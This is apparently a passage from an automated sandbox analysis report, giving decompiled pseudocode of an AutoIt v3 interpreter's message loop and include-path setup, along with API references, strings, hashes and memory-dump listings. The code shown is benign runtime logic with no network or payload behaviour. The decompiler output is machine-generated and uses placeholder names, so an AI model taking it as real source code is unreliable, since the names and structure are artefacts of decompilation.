														goto L150;
													}
													if(__eflags <= 0) {
														goto L153;
													}
													goto L29;
												case 2:
													_t386 = E00F4FD79(__eflags, _t606, _t533);
													L149:
													_t547 = _t386;
													__eflags = _t547;
													if(__eflags >= 0) {
														goto L151;
													}
													goto L150;
												case 3:
													__eax = E00F4FD79(__eflags, __fp0, __edi);
													__esi = __eax;
													__eflags = __esi;
													if(__eflags < 0) {
														L150:
														_t511 =  ~_t547;
														E00EE3EC0(_t533 +  *_t533->message, _t511, 0);
														_t471 = _t533 +  *_t533->message;
														_v332 = 0;
														E00EED620( &_v332, _t533 +  *_t533->message);
														__eflags = _t547;
														L151:
														if(__eflags == 0) {
															goto L29;
														}
														__eflags = _t547;
														if(_t547 <= 0) {
															L156:
															_push(_t533[0xbd]);
															_t533[0x51] = 1;
															_t533[0x3e] = 0;
															E00F13187(_t533[0xbd], _t606);
															_t572 =  &(_t572[1]);
															goto L29;
														}
														L153:
														_t389 = _t533[0x3e];
														__eflags = _t389 - 5;
														if(_t389 == 5) {
															L155:
															_v188.hwnd = 0;
															_v188.wParam = 1;
															_v188.lParam = 0;
															E00EE9190(_t533,  &_v188);
															_t471 =  *_t533;
															_t511 = _t533 +  *_t533->message;
															__eflags = _t511;
															_v188.wParam = 7;
															_v188 =  *(_t533[0x76]);
															E00F5319B( *_t533, _t511,  &_v188, 0);
															E00EE9190(_t533,  &_v188);
															goto L156;
														}
														__eflags = _t389 - 3;
														if(_t389 != 3) {
															goto L156;
														}
														goto L155;
													}
													if(__eflags > 0) {
														goto L29;
													}
													goto L153;
											}
										}
										while(1) {
											L58:
											__eflags = _v244.message - 0x12;
											if(_v244.message == 0x12) {
												break;
											}
											_t471 = 0xf88630;
											_t336 = E00EED3E0(0xf88630,  &_v244);
											__eflags = _t336;
											if(_t336 == 0) {
												_t338 = E00EED400(0xf88630,  &_v244);
												__eflags = _t338;
												if(_t338 == 0) {
													TranslateMessage( &_v244);
													_t471 =  &_v244;
													DispatchMessageW( &_v244); // executed
												}
											}
											_t511 =  &_v244;
											_t337 = PeekMessageW(_t511, 0, 0, 0, 1);
											__eflags = _t337;
											if(_t337 == 0) {
												L8:
												if( *0xf774e6 == 1) {
													 *0xf774ec = 0;
													 *0xf774e6 = 0;
													_t533[0x3e] = 1;
												}
												if(_t533[0x3e] == 1) {
													_t471 = _t533 +  *_t533->message;
													_v304 = 0;
													E00EED620( &_v304, _t533 +  *_t533->message);
													goto L30;
												} else {
													goto L10;
												}
											} else {
												continue;
											}
										}
										_t533[0x3f] = 1;
										_t533[0x3e] = 1;
										goto L8;
									}
									_t400 = E00EEC870(_t533[0xbe]);
									_t471 = 0;
									__eflags = _t511;
									if(__eflags < 0) {
										goto L56;
									}
									_t462 = 0;
									if(__eflags > 0) {
										L65:
										__eflags = _t533[0x3e] - 2;
										if(_t533[0x3e] != 2) {
											_t471 = _t533 +  *_t533->message;
											_v324 = _t462;
											E00EED620( &_v324, _t533 +  *_t533->message);
										}
										L66:
										_t533[0x51] = 1;
										_t533[0x3e] = _t462;
										goto L29;
									}
									__eflags = _t400 - _t533[0xbc];
									if(_t400 >= _t533[0xbc]) {
										goto L65;
									}
									goto L56;
								} else {
									_t480 = _a4;
									_t533[0x3d] = _t480;
									_t403 = _t480;
									_t471 = _t480 + 1;
									_a4 = _t480 + 1;
									_t598 = _t403 -  *0xf890f8; // 0x0
									if(_t598 > 0 || _t403 <= 0) {
										L160:
										_t533[0x3e] = 1;
										goto L29;
									} else {
										_t405 = (_t403 << 4) +  *0xf8912c;
										if(_t405 == 0) {
											goto L160;
										}
										_t549 = _t405;
										_t471 =  *(_t549 + 4);
										_v328 = 0;
										_t511 =  *( *(_t549 + 4));
										_t406 = _t511->wParam;
										if(_t406 != 0) {
											__eflags = _t406 - 0x34;
											if(__eflags != 0) {
												_t407 = _t406 - 1;
												__eflags = _t407 - 0x7e;
												if(_t407 > 0x7e) {
													L166:
													_t511 = _t511->wParam;
													E00F3E724(_t606, _t533, 0x1388, _t511);
													goto L29;
												}
												switch( *((intOrPtr*)(( *(_t407 + 0xee9864) & 0x000000ff) * 4 +  &M00EE9850))) {
													case 0:
														__eax = 0;
														__ecx =  &_v164;
														_v164 = 0;
														_v152 = 0;
														__eax =  &_v328;
														__edx = __esi;
														__ebx = __edi;
														_v156 = 1;
														__eax = E00EE8F10( &_v328, __ebx, __esi,  &_v164); // executed
														__eflags = __eax;
														if(__eax == 0) {
															__edx =  *(__esi + 4);
															__eax = _v328;
															__eax =  *( *(__esi + 4) + _v328 * 4);
															__eflags =  *((short*)(__eax + 8)) - 0x7f;
															if( *((short*)(__eax + 8)) != 0x7f) {
																__ecx =  *((short*)(__eax + 0xa));
																__eax = E00F3E724(__fp0, __edi, 0x72,  *((short*)(__eax + 0xa)));
															}
														}
														__esi =  &_v164;
														__eax = E00EE9190(__edi, __esi);
														goto L29;
													case 1:
														E00EE9210(_t549, _t606, _t533); // executed
														goto L29;
													case 2:
														__ebx = __edi + 0x488;
														__eax = E00F123E7(__ebx);
														__eflags = __al;
														if(__al != 0) {
															__eax =  &_v328;
															__eax = E00F5FA6A(__fp0, __edi, __esi,  &_v328, __ebx);
															__eflags = __eax;
															if(__eax != 0) {
																__ecx =  *(__esi + 4);
																__edx = _v328;
																__eax =  *( *(__esi + 4) + _v328 * 4);
																__ecx =  *((short*)( *( *(__esi + 4) + _v328 * 4) + 0xa));
																__eax = E00F3E724(__fp0, __edi, 0xaa,  *((short*)( *( *(__esi + 4) + _v328 * 4) + 0xa)));
															}
														} else {
															__edx =  *((short*)(__edx + 0xa));
															__eax = E00F3E724(__fp0, __edi, 0xa7, __edx);
														}
														goto L29;
													case 3:
														goto L29;
													case 4:
														goto L166;
												}
											}
											_t471 =  &_v276;
											_v276 = 0;
											_v268 = 1;
											_v264 = 0;
											_t414 = E00EE98F0( &_v328, __eflags, _t606, _t533, _t549,  &_v276,  &_v277); // executed
											__eflags = _t414;
											if(_t414 != 0) {
												L37:
												_t564 = _v264;
												__eflags = _t564;
												if(_t564 != 0) {
													 *( *(_t564 + 0xc)) =  *( *(_t564 + 0xc)) - 1;
													_t511 =  *(_t564 + 0xc);
													__eflags = _t511->hwnd;
													if(_t511->hwnd == 0) {
														_push(_t564->i);
														E00EF10FC();
														_t471 =  *(_t564 + 0xc);
														_push( *(_t564 + 0xc));
														E00EF10FC();
														_t572 =  &(_t572[2]);
													}
													_push(_t564);
													E00EF10FC();
													_t572 =  &(_t572[1]);
													_v264 = 0;
												}
												_t415 = _v268;
												__eflags = _t415 - 8;
												if(_t415 == 8) {
													_t565 = _v276;
													__eflags = _t565;
													if(_t565 != 0) {
														__imp__#9(_t565);
														_push(_t565);
														E00EF10FC();
														_t572 =  &(_t572[1]);
													}
												} else {
													__eflags = _t415 - 0xa;
													if(_t415 == 0xa) {
														_t417 = _v276;
														__eflags = _t417;
														if(_t417 != 0) {
															E00F230B0(_t417);
														}
													} else {
														__eflags = _t415 - 5;
														if(_t415 == 5) {
															E00EEE470( &_v276, _t564);
														} else {
															__eflags = _t415 - 0xb;
															if(_t415 == 0xb) {
																_t566 = _v276;
																_t511 =  *(_t566 + 4);
																_push(_t511);
																E00EF10FC();
																_push(_t566);
																E00EF10FC();
																_t572 =  &(_t572[2]);
															} else {
																__eflags = _t415 - 0xc;
																if(_t415 == 0xc) {
																	_t423 = _v276;
																	__eflags = _t423;
																	if(_t423 != 0) {
																		E00F2B350(_t423);
																	}
																}
															}
														}
													}
												}
												goto L29;
											}
											_t511 =  *(_t549 + 4);
											_t431 =  *((intOrPtr*)(_t511 + _v328 * 4));
											__eflags =  *((short*)(_t431 + 8)) - 0x7f;
											if( *((short*)(_t431 + 8)) != 0x7f) {
												_t471 =  *((short*)(_t431 + 0xa));
												E00F3E724(_t606, _t533, 0x72,  *((short*)(_t431 + 0xa)));
												E00EE9190(_t533,  &_v288);
												goto L29;
											}
											goto L37;
										} else {
											E00EEB1F0(_t606, _t533, _t549,  &_a4); // executed
											goto L29;
										}
									}
								}
							}
						}
						if( *0xf88668 != 0) {
							__eflags = _t533[0x3e];
							if(_t533[0x3e] == 0) {
								goto L10;
							}
						}
						if(PeekMessageW( &_v244, 0, 0, 0, 1) != 0) {
							goto L58;
						}
						goto L8;
					}
					goto L30;
				}
			}

0x00ee9430
0x00ee9430
0x00ee9430
0x00ee9436
0x00ee943f
0x00ee9441
0x00ee944c
0x00f0d73b
0x00f0d742
0x00f0d747
0x00ee95f5
0x00ee95fb
0x00ee95fb
0x00ee9452
0x00ee9453
0x00ee9457
0x00ee9460
0x00ee97d2
0x00ee97d2
0x00ee946d
0x00ee9474
0x00ee95d6
0x00ee95d6
0x00ee95dc
0x00ee95e6
0x00ee97fd
0x00ee9802
0x00ee9809
0x00000000
0x00000000
0x00ee9811
0x00ee9818
0x00ee9825
0x00ee983f
0x00ee9841
0x00ee9843
0x00000000
0x00000000
0x00f0e0de
0x00f0e0e6
0x00f0e0f4
0x00f0e108
0x00f0e10a
0x00f0e10a
0x00000000
0x00ee95ec
0x00ee95ed
0x00ee95f3
0x00ee95f3
0x00000000
0x00ee95f3
0x00ee9480
0x00ee9480
0x00ee9494
0x00ee94da
0x00ee94e1
0x00f0d796
0x00f0d79b
0x00f0d79d
0x00f0d7a2
0x00f0d7a8
0x00f0d7aa
0x00f0d7ac
0x00f0d7d9
0x00f0d7d9
0x00f0d7db
0x00000000
0x00000000
0x00f0d80e
0x00f0d813
0x00f0d822
0x00f0d82d
0x00f0d831
0x00f0d83c
0x00ee95c9
0x00ee95d0
0x00000000
0x00000000
0x00000000
0x00ee95d0
0x00f0d7b2
0x00f0d7b8
0x00f0d7b8
0x00f0d7ba
0x00f0d7bd
0x00000000
0x00000000
0x00f0d7c3
0x00f0d7c5
0x00f0d7c7
0x00000000
0x00000000
0x00f0d7cd
0x00f0d7cd
0x00f0d7ce
0x00f0d7d1
0x00f0d7d1
0x00000000
0x00f0d7b8
0x00ee94e7
0x00ee94ee
0x00f0d846
0x00f0d84d
0x00000000
0x00000000
0x00f0d855
0x00000000
0x00f0d855
0x00ee94f4
0x00ee94fb
0x00f0d860
0x00f0d867
0x00000000
0x00000000
0x00f0d86d
0x00f0d873
0x00f0d87a
0x00f0d882
0x00f0d886
0x00f0d887
0x00f0d88b
0x00f0d893
0x00f0d898
0x00f0d89a
0x00000000
0x00000000
0x00f0d8a0
0x00f0d8a2
0x00f0d8a6
0x00f0d92a
0x00f0d92a
0x00f0d934
0x00f0d939
0x00000000
0x00f0d939
0x00f0d8af
0x00f0d8b3
0x00f0d8b8
0x00f0d8ba
0x00000000
0x00000000
0x00f0d8c0
0x00f0d8d3
0x00f0d8d3
0x00f0d8df
0x00f0d905
0x00f0d912
0x00f0d912
0x00f0d917
0x00f0d91b
0x00f0d91f
0x00f0d926
0x00000000
0x00f0d926
0x00f0d8ca
0x00f0d8cd
0x00000000
0x00000000
0x00000000
0x00f0d8cd
0x00f0d942
0x00f0d942
0x00f0d948
0x00f0d94c
0x00f0d94c
0x00f0d94d
0x00f0d951
0x00f0d959
0x00f0d95e
0x00f0d960
0x00000000
0x00000000
0x00f0d966
0x00f0d96a
0x00f0d96c
0x00f0d970
0x00f0d993
0x00f0d942
0x00f0d948
0x00000000
0x00f0d948
0x00f0d976
0x00f0d97b
0x00f0d980
0x00f0d980
0x00f0d99a
0x00f0d99f
0x00f0d9a6
0x00000000
0x00000000
0x00000000
0x00f0d9ac
0x00f0d942
0x00ee9501
0x00ee9508
0x00f0d9b1
0x00f0d9b8
0x00000000
0x00000000
0x00f0d9be
0x00f0d9c5
0x00000000
0x00000000
0x00f0d9d0
0x00f0d9d5
0x00f0d9d5
0x00f0d9df
0x00f0d9e4
0x00f0d9e6
0x00000000
0x00000000
0x00f0d9f6
0x00f0d9f8
0x00000000
0x00000000
0x00f0da20
0x00f0da25
0x00f0da27
0x00000000
0x00000000
0x00f0da34
0x00f0da38
0x00f0da3c
0x00f0da40
0x00f0da49
0x00f0da59
0x00f0da5d
0x00f0da6c
0x00f0da73
0x00f0da7c
0x00f0da91
0x00f0da99
0x00f0da9d
0x00f0daac
0x00f0dab3
0x00f0dabc
0x00f0dac8
0x00f0dacd
0x00f0dad4
0x00f0dadc
0x00f0dae0
0x00f0daeb
0x00f0daef
0x00f0daf6
0x00f0db02
0x00f0db0c
0x00f0db13
0x00f0db18
0x00f0db1e
0x00f0dbb5
0x00f0dbb5
0x00f0dbba
0x00f0dbbe
0x00f0dbc3
0x00000000
0x00f0dbc3
0x00f0dbcc
0x00f0dbd0
0x00f0dbd0
0x00ee950e
0x00ee9516
0x00000000
0x00000000
0x00ee9523
0x00f0dbda
0x00f0dbe1
0x00000000
0x00000000
0x00f0dbec
0x00f0dbf1
0x00f0dbf1
0x00f0dbfb
0x00f0dc00
0x00f0dc02
0x00000000
0x00000000
0x00f0dc12
0x00f0dc14
0x00000000
0x00000000
0x00f0dc3c
0x00f0dc41
0x00f0dc43
0x00000000
0x00000000
0x00f0db35
0x00f0db3c
0x00f0db43
0x00f0db4a
0x00f0db53
0x00f0db5a
0x00f0db66
0x00f0db6d
0x00f0db78
0x00f0db7f
0x00f0db86
0x00f0db92
0x00f0db99
0x00f0db9c
0x00f0dba3
0x00f0dba8
0x00f0dbae
0x00000000
0x00f0dbae
0x00f0dc4a
0x00f0dc4e
0x00f0dc4e
0x00ee9529
0x00ee9529
0x00ee9532
0x00f0dc58
0x00f0dc61
0x00f0dc67
0x00f0dc6b
0x00f0dc70
0x00f0dc82
0x00f0dc88
0x00f0dc8f
0x00f0dc9e
0x00f0dca2
0x00f0dca8
0x00f0dcad
0x00f0dcb4
0x00f0dcb4
0x00000000
0x00f0dc70
0x00ee953b
0x00f0dcc5
0x00f0dccb
0x00f0dcd2
0x00f0dd35
0x00f0dd37
0x00f0dd37
0x00f0dd42
0x00f0dd48
0x00f0dd4d
0x00f0dd50
0x00f0dd57
0x00f0dd7c
0x00f0dd81
0x00000000
0x00000000
0x00f0dd87
0x00f0dd87
0x00f0dd89
0x00f0dd89
0x00f0dd8f
0x00f0dd97
0x00f0dd99
0x00f0dda5
0x00f0ddb2
0x00f0ddb8
0x00f0ddb8
0x00f0ddbe
0x00f0ddc5
0x00f0ddfc
0x00f0ddfe
0x00f0de07
0x00f0de09
0x00f0ddcb
0x00f0ddcf
0x00f0ddd3
0x00f0ddd5
0x00f0dddb
0x00f0dddb
0x00f0dde1
0x00f0dde3
0x00f0ddea
0x00f0ddf2
0x00f0ddf2
0x00f0de15
0x00f0de1c
0x00f0de22
0x00000000
0x00f0de22
0x00f0dd5d
0x00f0dd62
0x00f0dd72
0x00000000
0x00f0dd72
0x00f0dd68
0x00000000
0x00f0dd68
0x00f0dcde
0x00f0dce5
0x00f0dce7
0x00f0dce9
0x00000000
0x00000000
0x00f0dcef
0x00f0dd01
0x00f0dd01
0x00f0dd07
0x00f0dd09
0x00f0dd10
0x00f0dd16
0x00f0dd16
0x00f0dd1c
0x00f0dd21
0x00f0dd27
0x00f0dd2b
0x00000000
0x00f0dd2b
0x00f0dcf5
0x00f0dcfb
0x00000000
0x00000000
0x00000000
0x00ee954a
0x00ee954d
0x00ee9721
0x00ee9727
0x00ee972e
0x00ee9755
0x00ee9755
0x00ee975b
0x00ee975e
0x00000000
0x00000000
0x00f0de46
0x00f0de49
0x00f0de4c
0x00000000
0x00f0de52
0x00f0de52
0x00000000
0x00f0de82
0x00000000
0x00000000
0x00f0df62
0x00f0df67
0x00f0df69
0x00f0df6b
0x00000000
0x00000000
0x00f0df71
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0de5a
0x00f0de87
0x00f0de87
0x00f0de89
0x00f0de8b
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0de65
0x00f0de6a
0x00f0de6c
0x00f0de6e
0x00f0de91
0x00f0de9a
0x00f0de9f
0x00f0dea9
0x00f0deaf
0x00f0deb7
0x00f0debc
0x00f0debe
0x00f0debe
0x00000000
0x00000000
0x00f0dec4
0x00f0dec6
0x00f0df3a
0x00f0df40
0x00f0df41
0x00f0df48
0x00f0df52
0x00f0df57
0x00000000
0x00f0df57
0x00f0decc
0x00f0decc
0x00f0ded2
0x00f0ded5
0x00f0dee4
0x00f0def5
0x00f0defc
0x00f0df07
0x00f0df0e
0x00f0df13
0x00f0df1b
0x00f0df1b
0x00f0df1e
0x00f0df29
0x00f0df30
0x00f0df35
0x00000000
0x00f0df35
0x00f0dedb
0x00f0dede
0x00000000
0x00000000
0x00000000
0x00f0dede
0x00f0de74
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0de52
0x00ee9770
0x00ee9770
0x00ee9770
0x00ee9775
0x00000000
0x00000000
0x00ee9780
0x00ee9785
0x00ee978a
0x00ee978c
0x00ee9798
0x00ee979d
0x00ee979f
0x00ee97a6
0x00ee97ac
0x00ee97b1
0x00ee97b1
0x00ee979f
0x00ee97bf
0x00ee97c4
0x00ee97c6
0x00ee97c8
0x00ee94c0
0x00ee94c7
0x00f0d779
0x00f0d780
0x00f0d787
0x00f0d787
0x00ee94d4
0x00f0e0c6
0x00f0e0cc
0x00f0e0d4
0x00000000
0x00000000
0x00000000
0x00000000
0x00ee97ce
0x00000000
0x00ee97ce
0x00ee97c8
0x00f0d763
0x00f0d76a
0x00000000
0x00f0d76a
0x00ee9736
0x00ee973b
0x00ee973d
0x00ee973f
0x00000000
0x00000000
0x00ee9741
0x00ee9743
0x00ee97dc
0x00ee97dc
0x00ee97e3
0x00f0de32
0x00f0de38
0x00f0de3c
0x00f0de3c
0x00ee97e9
0x00ee97e9
0x00ee97f0
0x00000000
0x00ee97f0
0x00ee9749
0x00ee974f
0x00000000
0x00000000
0x00000000
0x00ee9577
0x00ee9577
0x00ee957a
0x00ee9580
0x00ee9582
0x00ee9583
0x00ee9586
0x00ee958c
0x00f0df7c
0x00f0df7c
0x00000000
0x00ee959a
0x00ee959d
0x00ee95a3
0x00000000
0x00000000
0x00ee95a9
0x00ee95ab
0x00ee95b0
0x00ee95b4
0x00ee95b6
0x00ee95bc
0x00ee95fe
0x00ee9601
0x00ee96a0
0x00ee96a1
0x00ee96a4
0x00f0dffa
0x00f0dffa
0x00f0e005
0x00000000
0x00f0e005
0x00ee96b1
0x00000000
0x00ee96c5
0x00ee96c7
0x00ee96ce
0x00ee96d5
0x00ee96dd
0x00ee96e1
0x00ee96e3
0x00ee96e5
0x00ee96f0
0x00ee96f5
0x00ee96f7
0x00ee96f9
0x00ee96fc
0x00ee9700
0x00ee9703
0x00ee9708
0x00f0df8b
0x00f0df93
0x00f0df93
0x00ee9708
0x00ee970e
0x00ee9715
0x00000000
0x00000000
0x00ee96bb
0x00000000
0x00000000
0x00f0df9d
0x00f0dfa4
0x00f0dfa9
0x00f0dfab
0x00f0dfc7
0x00f0dfce
0x00f0dfd3
0x00f0dfd5
0x00f0dfdb
0x00f0dfde
0x00f0dfe2
0x00f0dfe5
0x00f0dff0
0x00f0dff0
0x00f0dfb1
0x00f0dfb1
0x00f0dfbc
0x00f0dfbc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00ee96b1
0x00ee960c
0x00ee9617
0x00ee961b
0x00ee9623
0x00ee9627
0x00ee962c
0x00ee962e
0x00ee9645
0x00ee9645
0x00ee9649
0x00ee964b
0x00ee9650
0x00ee9652
0x00ee9655
0x00ee9657
0x00f0e02c
0x00f0e02d
0x00f0e032
0x00f0e038
0x00f0e039
0x00f0e03e
0x00f0e03e
0x00ee965d
0x00ee965e
0x00ee9663
0x00ee9666
0x00ee9666
0x00ee966a
0x00ee966e
0x00ee9671
0x00f0e046
0x00f0e04a
0x00f0e04c
0x00f0e053
0x00f0e059
0x00f0e05a
0x00f0e05f
0x00f0e05f
0x00ee9677
0x00ee9677
0x00ee967a
0x00f0e067
0x00f0e06b
0x00f0e06d
0x00f0e074
0x00f0e074
0x00ee9680
0x00ee9680
0x00ee9683
0x00f0e082
0x00ee9689
0x00ee9689
0x00ee968c
0x00f0e08c
0x00f0e090
0x00f0e093
0x00f0e094
0x00f0e09c
0x00f0e09d
0x00f0e0a2
0x00ee9692
0x00ee9692
0x00ee9695
0x00f0e0aa
0x00f0e0ae
0x00f0e0b0
0x00f0e0b7
0x00f0e0b7
0x00f0e0b0
0x00ee9695
0x00ee968c
0x00ee9683
0x00ee967a
0x00000000
0x00ee9671
0x00ee9630
0x00ee9637
0x00ee963a
0x00ee963f
0x00f0e00f
0x00f0e017
0x00f0e020
0x00000000
0x00f0e020
0x00000000
0x00ee95be
0x00ee95c4
0x00000000
0x00ee95c4
0x00ee95bc
0x00ee958c
0x00ee954d
0x00ee953b
0x00ee949d
0x00f0d751
0x00f0d758
0x00000000
0x00000000
0x00f0d75e
0x00ee94ba
0x00000000
0x00000000
0x00000000
0x00ee94ba
0x00000000
0x00ee9480

APIs

PeekMessageW.USER32 ref: 00EE94B6
Sleep.KERNELBASE(?,?), ref: 00EE9721
TranslateMessage.USER32(?), ref: 00EE97A6
DispatchMessageW.USER32 ref: 00EE97B1
PeekMessageW.USER32 ref: 00EE97C4

Strings

@GUI_CTRLID, xrefs: 00F0DA4D
@GUI_WINHANDLE, xrefs: 00F0DA85
@GUI_CTRLHANDLE, xrefs: 00F0DAC8

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Peek$DispatchSleepTranslate
String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE
API String ID: 1762048999-758534266
Opcode ID: 789149f23dcf7871b216009689d439573e0ae7ebe7d0ff2c77e3ccc68ee0c583
Instruction ID: 4e12a122d45c29d933a70733c01a8b73f50ed71927ee4be7bb89bb55b7bdadad
Opcode Fuzzy Hash: 789149f23dcf7871b216009689d439573e0ae7ebe7d0ff2c77e3ccc68ee0c583
Instruction Fuzzy Hash: AC62357160838ADFD724DF61C880BEAB7E4BF84304F10491DF55997292D774E889EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE560, Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00EEE560(intOrPtr __eax, void* __ecx, void* __eflags) {
				char _v524;
				char _v1052;
				short _v1580;
				char _v1596;
				short _v1598;
				short _v1600;
				void* __edi;
				void* __esi;
				intOrPtr _t37;
				intOrPtr _t44;
				signed int _t45;
				void* _t49;
				intOrPtr _t53;
				intOrPtr _t54;
				signed int _t55;
				signed int _t63;
				short* _t65;
				intOrPtr _t75;
				intOrPtr _t76;
				signed int _t80;
				signed int _t89;
				intOrPtr _t93;
				intOrPtr _t94;
				void* _t95;
				void* _t96;
				void* _t98;
				signed int _t103;
				void* _t107;
				void* _t108;

				_t109 = __eflags;
				_push(_t98);
				_push(_t95);
				_push(0x400);
				 *0xf890e8 = 0;
				 *0xf890ec = __eax;
				 *0xf890f0 = 0;
				 *0xf890f4 = 0;
				 *0xf890f8 = 0;
				 *0xf890fc = 0;
				 *0xf89100 = 0xf65a48;
				 *0xf89104 = 0;
				 *0xf89108 = 0;
				 *0xf8910c = 0;
				 *0xf89110 = 0xf65a48;
				 *0xf89114 = 0;
				 *0xf89118 = 0;
				 *0xf8911c = 0;
				 *0xf89124 = 0;
				 *0xf8912c = 0;
				 *0xf89130 = 0x66; // executed
				_t37 = E00EF14F7(_t95, _t98, __eflags); // executed
				 *0xf89120 = _t37;
				GetModuleFileNameW(0,  &_v1580, 0x104);
				E00EF392E( &_v1580,  &_v524,  &_v1052, 0, 0);
				E00EF397A( &_v1052, L"Include", 0x104);
				E00EF39BE( &_v1580,  &_v524,  &_v1052, 0, 0);
				_push(0x20a);
				_t44 = E00EF14F7(_t95, _t98, _t109);
				_t89 =  *0xf89124; // 0x1
				_t75 =  *0xf89120; // 0x3496d30
				 *((intOrPtr*)(_t75 + _t89 * 4)) = _t44;
				_t45 =  *0xf89124; // 0x1
				_t76 =  *0xf89120; // 0x3496d30
				 *0xf89124 = _t45 + 1;
				E00EF1487( *((intOrPtr*)(_t76 + _t45 * 4)),  &_v1580);
				_t107 = (_t103 & 0xfffffff8) - 0x63c + 0x44;
				E00EEBEC0( &_v1596, _t109);
				_t49 = E00EEE6C0( &_v1596, _t109); // executed
				if(_t49 != 0) {
					_t96 = 0;
					__eflags = 0;
					_v1580 = 0;
					while(1) {
						_t100 =  &_v1596;
						_v1600 =  *((intOrPtr*)(E00EE1C30(_t96,  &_v1596, __eflags)));
						_v1598 = 0;
						__eflags =  *((intOrPtr*)(E00EE1C30(_t96,  &_v1596, __eflags)));
						if(__eflags == 0) {
							goto L6;
						}
						L4:
						_t65 = E00EE1C30(_t96, _t100, __eflags);
						__eflags =  *_t65 - 0x3b;
						if( *_t65 == 0x3b) {
							goto L6;
						}
						E00EF1456( &_v1580,  &_v1600);
						_t107 = _t107 + 8;
						_t96 = _t96 + 1;
						while(1) {
							_t100 =  &_v1596;
							_v1600 =  *((intOrPtr*)(E00EE1C30(_t96,  &_v1596, __eflags)));
							_v1598 = 0;
							__eflags =  *((intOrPtr*)(E00EE1C30(_t96,  &_v1596, __eflags)));
							if(__eflags == 0) {
								goto L6;
							}
							goto L4;
						}
						L6:
						_t53 = E00EF10E1( &_v1580);
						_t108 = _t107 + 4;
						__eflags = _t53;
						if(__eflags != 0) {
							_t63 = E00EF10E1( &_v1580);
							_t108 = _t108 + 4;
							__eflags =  *((short*)(_t108 + 0x1e + _t63 * 2)) - 0x5c;
							if(__eflags != 0) {
								E00EF1456( &_v1580, "\\");
								_t108 = _t108 + 8;
							}
						}
						_push(0x20a);
						_t54 = E00EF14F7(_t96, _t100, __eflags);
						_t80 =  *0xf89124; // 0x1
						_t93 =  *0xf89120; // 0x3496d30
						 *((intOrPtr*)(_t93 + _t80 * 4)) = _t54;
						_t55 =  *0xf89124; // 0x1
						_t94 =  *0xf89120; // 0x3496d30
						 *0xf89124 = _t55 + 1;
						E00EF2EDA( *((intOrPtr*)(_t94 + _t55 * 4)),  &_v1580, 0x104);
						_t107 = _t108 + 0x10;
						_v1580 = 0;
						__eflags =  *((intOrPtr*)(E00EE1C30(_t96,  &_v1596, __eflags)));
						if(__eflags == 0) {
							goto L1;
						} else {
							_t96 = _t96 + 1;
							continue;
						}
					}
				}
				L1:
				E00EE2480( &_v1596);
				return 0xf890e8;
			}

0x00eee560
0x00eee56f
0x00eee570
0x00eee571
0x00eee576
0x00eee57c
0x00eee581
0x00eee587
0x00eee58d
0x00eee593
0x00eee599
0x00eee5a3
0x00eee5a9
0x00eee5af
0x00eee5b5
0x00eee5bf
0x00eee5c5
0x00eee5cb
0x00eee5d1
0x00eee5d7
0x00eee5dd
0x00eee5e7
0x00eee5fa
0x00eee5ff
0x00eee61c
0x00eee633
0x00eee64f
0x00eee654
0x00eee659
0x00eee65e
0x00eee664
0x00eee66a
0x00eee66d
0x00eee672
0x00eee682
0x00eee687
0x00eee68c
0x00eee693
0x00eee69c
0x00eee6a3
0x00f072e4
0x00f072e6
0x00f072e8
0x00f072ed
0x00f072ed
0x00f072fb
0x00f07300
0x00f0730a
0x00f0730d
0x00000000
0x00000000
0x00f0730f
0x00f0730f
0x00f07314
0x00f07318
0x00000000
0x00000000
0x00f07324
0x00f07329
0x00f0732c
0x00f072ed
0x00f072ed
0x00f072fb
0x00f07300
0x00f0730a
0x00f0730d
0x00000000
0x00000000
0x00000000
0x00f0730d
0x00f0732f
0x00f07334
0x00f07339
0x00f0733c
0x00f0733e
0x00f07345
0x00f0734a
0x00f0734d
0x00f07353
0x00f0735f
0x00f07364
0x00f07364
0x00f07353
0x00f07367
0x00f0736c
0x00f07371
0x00f07377
0x00f0737d
0x00f07380
0x00f07385
0x00f0738f
0x00f0739f
0x00f073a6
0x00f073ad
0x00f073b7
0x00f073ba
0x00000000
0x00f073c0
0x00f073c0
0x00000000
0x00f073c0
0x00f073ba
0x00f072ed
0x00eee6a9
0x00eee6ad
0x00eee6bd

APIs

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00EEE5FF
__wsplitpath.LIBCMT ref: 00EEE61C

Part of subcall function 00EF392E: __wsplitpath_helper.LIBCMT ref: 00EF3970

_wcsncat.LIBCMT ref: 00EEE633
__wmakepath.LIBCMT ref: 00EEE64F

Part of subcall function 00EF39BE: __wmakepath_s.LIBCMT ref: 00EF39D4

Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1546
Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1560
Part of subcall function 00EF14F7: __CxxThrowException@8.LIBCMT ref: 00EF1571

_wcscpy.LIBCMT ref: 00EEE687

Part of subcall function 00EEE6C0: RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,?,?,00EEE6A1), ref: 00EEE6DD

_wcscat.LIBCMT ref: 00F07324
_wcslen.LIBCMT ref: 00F07334
_wcslen.LIBCMT ref: 00F07345
_wcscat.LIBCMT ref: 00F0735F
_wcsncpy.LIBCMT ref: 00F0739F

Strings

Include, xrefs: 00EEE62D
